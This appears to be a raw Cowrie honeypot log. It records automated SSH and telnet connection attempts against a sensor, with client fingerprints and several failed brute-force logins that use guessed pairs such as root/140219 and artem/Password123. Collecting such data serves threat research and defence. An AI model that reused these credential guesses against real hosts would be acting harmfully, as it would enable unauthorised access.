{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":39720,"dst_ip":"159.203.135.109","dst_port":22,"session":"6f4dc202cb70","protocol":"ssh","message":"New connection: 37.233.85.71:39720 (159.203.135.109:22) [session: 6f4dc202cb70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:37:23.220825Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:37:23.225199Z","src_ip":"37.233.85.71","session":"6f4dc202cb70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:37:23.329423Z","src_ip":"37.233.85.71","session":"6f4dc202cb70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"140219","message":"login attempt [root/140219] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:37:23.645730Z","src_ip":"37.233.85.71","session":"6f4dc202cb70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:37:24.752325Z","src_ip":"37.233.85.71","session":"6f4dc202cb70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.56.79.53","src_port":37189,"dst_ip":"159.203.135.109","dst_port":22,"session":"af8df7db0ce3","protocol":"ssh","message":"New connection: 45.56.79.53:37189 (159.203.135.109:22) [session: af8df7db0ce3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:38:31.716502Z"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:38:32.426414Z","src_ip":"45.56.79.53","session":"af8df7db0ce3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.168.240.63","src_port":51332,"dst_ip":"159.203.135.109","dst_port":22,"session":"55cd8df83471","protocol":"ssh","message":"New connection: 217.168.240.63:51332 (159.203.135.109:22) [session: 55cd8df83471]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:38:33.288978Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:38:33.293689Z","src_ip":"217.168.240.63","session":"55cd8df83471","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:38:33.425774Z","src_ip":"217.168.240.63","session":"55cd8df83471","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aurora","password":"aurora","message":"login attempt [aurora/aurora] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:38:33.973988Z","src_ip":"217.168.240.63","session":"55cd8df83471","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:38:35.104732Z","src_ip":"217.168.240.63","session":"55cd8df83471","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.236.228.224","src_port":58644,"dst_ip":"159.203.135.109","dst_port":22,"session":"05c5c1bbfd94","protocol":"ssh","message":"New connection: 172.236.228.224:58644 (159.203.135.109:22) [session: 05c5c1bbfd94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:38:39.576770Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:38:39.582968Z","src_ip":"172.236.228.224","session":"05c5c1bbfd94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4e066189c3bbeec38c99b1855113733a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 4e066189c3bbeec38c99b1855113733a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:38:39.655637Z","src_ip":"172.236.228.224","session":"05c5c1bbfd94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:38:39.736728Z","src_ip":"172.236.228.224","session":"05c5c1bbfd94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.236.228.224","src_port":18202,"dst_ip":"159.203.135.109","dst_port":22,"session":"5df009554fa1","protocol":"ssh","message":"New connection: 172.236.228.224:18202 (159.203.135.109:22) [session: 5df009554fa1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:38:39.807498Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:38:39.812337Z","src_ip":"172.236.228.224","session":"5df009554fa1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4e066189c3bbeec38c99b1855113733a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 4e066189c3bbeec38c99b1855113733a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:38:39.884617Z","src_ip":"172.236.228.224","session":"5df009554fa1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:38:39.961789Z","src_ip":"172.236.228.224","session":"5df009554fa1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.236.228.224","src_port":18208,"dst_ip":"159.203.135.109","dst_port":22,"session":"06da392b4624","protocol":"ssh","message":"New connection: 172.236.228.224:18208 (159.203.135.109:22) [session: 06da392b4624]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:38:40.030657Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:38:40.035571Z","src_ip":"172.236.228.224","session":"06da392b4624","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4e066189c3bbeec38c99b1855113733a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 4e066189c3bbeec38c99b1855113733a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:38:40.107835Z","src_ip":"172.236.228.224","session":"06da392b4624","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:38:40.189319Z","src_ip":"172.236.228.224","session":"06da392b4624","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.159.125","src_port":35864,"dst_ip":"159.203.135.109","dst_port":22,"session":"78a3015b7088","protocol":"ssh","message":"New connection: 101.47.159.125:35864 (159.203.135.109:22) [session: 78a3015b7088]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:38:42.611934Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:38:42.616222Z","src_ip":"101.47.159.125","session":"78a3015b7088","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:38:42.861655Z","src_ip":"101.47.159.125","session":"78a3015b7088","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Hello@2026","message":"login attempt [root/Hello@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:38:43.880889Z","src_ip":"101.47.159.125","session":"78a3015b7088","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:38:45.128973Z","src_ip":"101.47.159.125","session":"78a3015b7088","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.113.145.209","src_port":35930,"dst_ip":"159.203.135.109","dst_port":22,"session":"5bb6cc0a3ace","protocol":"ssh","message":"New connection: 92.113.145.209:35930 (159.203.135.109:22) [session: 5bb6cc0a3ace]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:38:54.788998Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:38:54.792995Z","src_ip":"92.113.145.209","session":"5bb6cc0a3ace","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:38:54.907925Z","src_ip":"92.113.145.209","session":"5bb6cc0a3ace","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"artem","password":"Password123","message":"login attempt [artem/Password123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:38:55.401682Z","src_ip":"92.113.145.209","session":"5bb6cc0a3ace","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:38:56.523536Z","src_ip":"92.113.145.209","session":"5bb6cc0a3ace","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":37064,"dst_ip":"10.17.0.5","dst_port":22,"session":"718bc3ea137c","protocol":"ssh","message":"New connection: 89.223.69.22:37064 (10.17.0.5:22) [session: 718bc3ea137c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:39:18.263985Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:39:18.268432Z","src_ip":"89.223.69.22","session":"718bc3ea137c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:39:18.385875Z","src_ip":"89.223.69.22","session":"718bc3ea137c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"21031980","message":"login attempt [root/21031980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:39:18.738499Z","src_ip":"89.223.69.22","session":"718bc3ea137c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:39:19.857352Z","src_ip":"89.223.69.22","session":"718bc3ea137c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":57256,"dst_ip":"159.203.135.109","dst_port":23,"session":"afa4890f0471","protocol":"telnet","message":"New connection: 128.199.8.54:57256 (159.203.135.109:23) [session: afa4890f0471]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:39:28.071371Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":50152,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc96a55f9abd","protocol":"ssh","message":"New connection: 147.45.199.80:50152 (159.203.135.109:22) [session: bc96a55f9abd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:39:55.393982Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:39:55.399939Z","src_ip":"147.45.199.80","session":"bc96a55f9abd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:39:55.493413Z","src_ip":"147.45.199.80","session":"bc96a55f9abd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"09061980","message":"login attempt [root/09061980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:39:55.767520Z","src_ip":"147.45.199.80","session":"bc96a55f9abd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:39:56.867497Z","src_ip":"147.45.199.80","session":"bc96a55f9abd","protocol":"ssh"}
